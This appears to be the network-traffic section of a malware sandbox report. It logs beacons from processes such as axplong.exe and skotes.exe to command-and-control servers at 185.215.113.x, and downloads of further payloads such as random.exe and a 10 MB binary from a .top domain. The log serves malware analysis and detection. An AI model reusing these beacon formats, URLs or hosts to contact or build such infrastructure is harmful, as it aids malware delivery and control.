Dec 23, 2024 17:18:20.460253954 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:21.740833998 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.9	49821	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:21.870429993 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:18:23.155894041 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.9	49822	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:22.243868113 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:23.505441904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:18:23.599993944 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:24.046572924 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.9	49825	185.156.73.23	80	4112	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:25.081247091 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:26.265315056 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.9	49826	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:25.255930901 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:26.541831017 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:18:26.586342096 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:27.040359020 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.9	49827	185.215.113.43	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:25.349899054 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 32 31 31 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1021124001&unit=246122658369
Dec 23, 2024 17:18:26.618928909 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.9	49828	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:25.379136086 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:26.669989109 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.9	49833	185.121.15.192	80	6940	C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:27.196207047 CET	126	OUT	GET /TQIuuaqjNpwYjtUvFojm1734579850?argument=VtrxllPIxXwrGYCx1734970701 HTTP/1.1 Host: home.twentytk20ht.top Accept: /
Dec 23, 2024 17:18:28.786320925 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 23 Dec 2024 16:18:28 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="rv51177YokPZVCqUwH;" Last-Modified: Thu, 19 Dec 2024 03:44:11 GMT Cache-Control: no-cache ETag: "1734579851.0611851-10816560-3179419858" Data Raw: 55 78 46 65 a1 3a 05 2f ad 85 48 29 99 72 72 1f 57 9e 7a 01 c8 46 f5 9d 4d 54 5d 9e b8 77 b0 56 cc 09 e2 1b 73 38 0c fd 7f b2 f8 18 31 68 af 89 fe 0d 63 4a 56 08 86 5f ca 78 d6 d2 a6 26 77 5d 54 9f dc c5 35 af c0 67 03 5d fb f0 c3 48 21 17 f9 45 74 a0 29 f7 50 02 82 21 8c a6 3e 7d 18 0a 37 93 3d 20 9b e3 f3 f1 0f 25 7a d4 d1 71 ca 18 dc 4d f8 ec 2c d2 c1 7a 6e 71 a8 d2 bb 4b 86 ec 20 92 bb a3 5d 91 f9 91 35 a0 9f 5d 04 3d d9 d3 d6 05 d2 c0 60 3c e2 eb d3 e1 17 54 04 a1 2b 5b 10 11 c8 dd 32 71 5f 00 2f 8d e7 b2 6f 74 48 e3 90 22 9d 6b c0 59 39 9f 6d fd 55 f0 a4 d9 60 c3 69 dc 8b 41 91 cc a3 42 df 93 f9 49 f2 91 b0 4e cf 69 87 af d7 85 11 ce 61 ea f1 0d a0 b6 f4 e7 9c 87 c9 8f 61 b9 35 66 ae e4 52 f3 5d 38 62 96 ae 99 62 5c fd 1e 36 8f 5f 0a 61 e7 2c cc 2c 5a 1d a9 f7 93 f6 72 14 fc b2 5a 7d 1b a9 a8 b9 96 d8 b9 90 f4 29 71 76 d9 95 42 a7 29 c3 ee b9 24 65 b8 08 74 aa 80 c4 ac da dc b9 28 88 9d 46 99 d2 59 ad 0c 9c f1 eb 88 f2 56 28 71 92 f6 e7 79 15 f3 1f 9b 4d 9b 87 e1 89 4d 59 9b e9 56 12 2f ad 4d [TRUNCATED] Data Ascii: UxFe:/H)rrWzFMT]wVs81hcJV_x&w]T5g]H!Et)P!>}7= %zqM,znqK ]5]=`<T+[2q_/otH"kY9mU`iABINiaa5fR]8bb\6_a,,ZrZ})qvB)$et(FYV(qyMMYV/ME)$2vk}Uz4{5ilWF^f/I1bLRidqa7!Q]~1_}mI9NJA)Sxk1ib,c'uqp<RJ<X#}mWl{$uooqfnp&GUH?8E0JvCivXpRB!7'PJzKpO6 l==adoey<}w1lG+06XAvdSO,6u,_4`H&mUY%r+[Q{ST"@\|lj=#[+e:*FQxT[-M)>MNSnfocygsj%ThxaydoMRW=Q@L
Dec 23, 2024 17:18:28.786361933 CET	1236	IN	Data Raw: a3 3a 4d 03 17 1c 22 4f a7 4e c0 48 6e f8 70 e6 19 ea 15 49 51 ef ef 49 26 01 fb 75 fb 59 6e 2a ad 0c c8 f2 0c 2a 04 0c 91 39 d5 c8 cb 85 6a f1 83 26 8c d7 de 80 cc 16 10 eb ee a4 6e f9 7d 3f ff 15 27 be 51 4a 28 06 f3 48 33 55 69 c3 c9 c6 52 e7 Data Ascii: :M"ONHnpIQI&uYn*9j&n}?'QJ(H3UiRT',5Ym\bD!_x4iH3d"I#-Hq$AI3t(%a_@(ihr.8,WJ"Y*MBQc>UEw6F a-"0F-n0z
Dec 23, 2024 17:18:28.786375999 CET	1236	IN	Data Raw: 6b ec 98 0c 41 d7 94 5d 3a f7 93 f9 8f 32 7e 93 c9 2f 34 56 a9 9a 7f aa 1a 5a 5d b7 e4 b0 da 83 15 2b 3c 45 15 19 c2 95 a6 59 97 b1 8a 4a 57 79 af b8 7f 14 35 c6 a9 9a 16 c5 3b 8d 2f f9 cb a4 8b 9c 42 c9 02 90 8b 0b b7 84 5a 44 c1 77 09 65 af 76 Data Ascii: kA]:2~/4VZ]+<EYJWy5;/BZDweviGRs8e'yt(Jt'MXrO@=P[:M`i4lXIU^pj?e`@y.nI6>U<I3s`&AJ^sr7wTjizUU:jMu,
Dec 23, 2024 17:18:28.786401033 CET	1236	IN	Data Raw: 34 c5 ce d8 68 25 e3 c0 44 c4 dd ed 2b 8d a6 b7 06 f8 59 60 f8 95 18 c9 67 52 a7 e0 2e 17 33 5a 61 c6 62 84 dc 3f 36 bc c3 b8 05 a8 db 84 f7 59 2f 18 0a b0 37 d3 2b fe 46 03 9f 10 4a 16 29 f0 b9 da f6 e6 cb 83 3d 6e c5 c5 16 9b e3 96 a6 15 52 4d Data Ascii: 4h%D+Y`gR.3Zab?6Y/7+FJ)=nRM-@@foZsg"QPOIV6!f.#6)qN5I;qgB9Xf(O)[;./w\-X.XD6 SgBq,aWX?G
Dec 23, 2024 17:18:28.786413908 CET	1236	IN	Data Raw: 82 d3 02 42 f1 0c 4f 78 bb 6d 68 5c 5c b3 fc 62 4d 80 4e e7 98 39 58 3e 0a 13 38 9e 91 89 e2 33 5a 46 54 96 da 45 a5 64 95 d1 b1 de 07 b5 6f e6 93 31 25 b9 be 44 2a 13 00 1b f4 cc 4f ef 4f c8 a8 10 69 00 00 5d 3f 5b 2d 27 48 ee be 4b 12 12 fa 20 Data Ascii: BOxmh\\bMN9X>83ZFTEdo1%D*OOi]?[-'HK ge#g]S=XA0qBWJ}=]\|aapqA2a~k4ik0KRzqNTJL>'mN\Gs):@2KEY0
Dec 23, 2024 17:18:28.786567926 CET	1236	IN	Data Raw: b0 bb e7 a8 ee 35 b1 65 29 3d b8 08 d6 e0 a5 be 92 75 92 2e e7 82 48 5a 2b 91 1a cd 3f 81 fc 22 fb d0 f8 46 ab 47 f7 80 e6 10 25 57 c4 ae 22 85 d4 4a 29 b5 e6 92 43 97 74 d1 d7 bb 1e d1 6d fa 0b eb 1b 14 23 f1 d3 94 07 18 42 5e ea e5 ec 86 25 76 Data Ascii: 5e)=u.HZ+?"FG%W"J)Ctm#B^%vb;Twjos`c$4g?C-iaBR*POkN';%,.-huwV)(HS~sPdp;hDZ'hV`aM@-ftIqd]^2
Dec 23, 2024 17:18:28.786581039 CET	1236	IN	Data Raw: 7a 3e 7a 57 d2 94 52 85 6a e6 8c d9 13 2d f7 b7 01 a4 63 7e e5 f4 61 9f 77 82 86 0a 5f f2 70 ea d0 43 bd 38 a7 0f 2a f6 7f e3 42 74 6f 7f c2 7c 1d b7 d3 f2 4e 53 41 aa e4 e3 31 69 af aa 13 75 dc 1b a5 41 4d 0b 6c 22 ef 98 92 e9 00 b0 c2 7e c2 57 Data Ascii: z>zWRj-c~aw_pC8*Bto\|NSA1iuAMl"~WZBD]@:6e;@>ki8Lp$U1FDN9;\C^3=pUUt(4O2y8JM-gl@/6I0}y7p&tT!#Ex`W(y
Dec 23, 2024 17:18:28.786592960 CET	1236	IN	Data Raw: 9a 89 ff 83 89 9a 85 6b 32 0b e6 26 0c 63 28 de 85 0e 90 63 5f 70 df fa 8a 10 b0 11 48 4a bc 3f 95 83 c3 5b 07 3b 00 bb c8 a3 b8 88 66 63 16 7c af 14 24 04 3d 58 f9 e7 8f c5 28 92 54 52 5d ed 4e db d1 fd fa 39 6a 46 c4 8e a2 17 85 dd 7c 84 ef 24 Data Ascii: k2&c(c_pHJ?[;fc\|$=X(TR]N9jF\|${jh3uL/u1XHI/A0yZ xL.Ey9$W_vhEuT":5aCZi+I{UTB"!F_&:/$
Dec 23, 2024 17:18:28.786604881 CET	1236	IN	Data Raw: c0 4a 4a 24 2c 5e 58 95 07 c6 67 14 45 42 7b 7d a4 0c 0b 1b 20 11 ac 63 3a dc 1f 22 b3 cc e4 8c 66 67 ac ff b0 03 2b 66 74 be a5 ed d9 c1 cc b6 d7 5c ae c5 09 ea fa fa 13 73 d4 96 a4 cf dc 54 82 31 9f 58 4a 98 ca cd d9 e3 94 d9 f5 31 74 18 52 39 Data Ascii: JJ$,^XgEB{} c:"fg+ft\sT1XJ1tR96{n,.X9/ueHe,-``W(B<G=,f?sS+b"^JXfd5Lni>m)"\JprpX.8V2ZOTJ!%a\|K2
Dec 23, 2024 17:18:28.786618948 CET	1236	IN	Data Raw: b9 3f 4f 49 ee 75 79 65 a3 87 7e f1 d9 df b1 d6 07 6c b6 64 ad ff e8 a3 ea 93 12 c7 57 f9 62 ba 59 99 e6 87 eb 1b 22 3b 63 f4 b4 42 84 72 23 a3 67 b7 89 3a 24 cb 26 98 03 71 f4 b7 eb cb 8d be e0 f9 d0 fd da e0 6f 8f e4 5f 69 79 48 70 5c 09 44 09 Data Ascii: ?OIuye~ldWbY";cBr#g:$&qo_iyHp\D"LOgHr+xrAS+M#7tXA5^ly4^:@1(;7I%s)V$M#7K"=EJ$#/8(KL>-Tv_
Dec 23, 2024 17:18:28.907459021 CET	1236	IN	Data Raw: 9c bc e5 b4 ea 2e 76 14 64 00 3f c7 bd 73 eb 7e 3a 79 bf 3e 13 55 e9 a0 8b d0 66 d2 8d cf 16 78 c1 9a 51 00 ed 23 09 d1 09 54 cb c0 f0 cc 1c c3 5a 07 b3 d5 8b de 12 f9 f1 74 17 f3 44 6d 45 70 e8 ac 5e 5d 77 a4 17 28 64 6d 82 85 9b 90 22 fd 02 91 Data Ascii: .vd?s~:y>UfxQ#TZtDmEp^]w(dm"=r#OkGs}T+^eJRq`I DY<.!WT2RZ6;MN3LyCZiE$179PSE#f8G;0Rq6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.9	49832	31.41.244.11	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:27.196783066 CET	146	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11 If-Modified-Since: Mon, 23 Dec 2024 15:43:39 GMT If-None-Match: "6769852b-446000"
Dec 23, 2024 17:18:28.451509953 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:28 GMT Last-Modified: Mon, 23 Dec 2024 15:43:39 GMT Connection: keep-alive ETag: "6769852b-446000"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.9	49834	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:27.728977919 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:28.809444904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:18:28.944612980 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:29.390887022 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.9	49835	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:29.116421938 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:18:30.404714108 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.9	49836	185.156.73.23	80	4112	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:29.116568089 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:30.408325911 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.9	49837	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:30.120007038 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:31.376158953 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.9	49839	185.215.113.43	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:32.358731031 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 32 31 31 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1021126001&unit=246122658369
Dec 23, 2024 17:18:33.673414946 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.9	49840	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:32.746305943 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
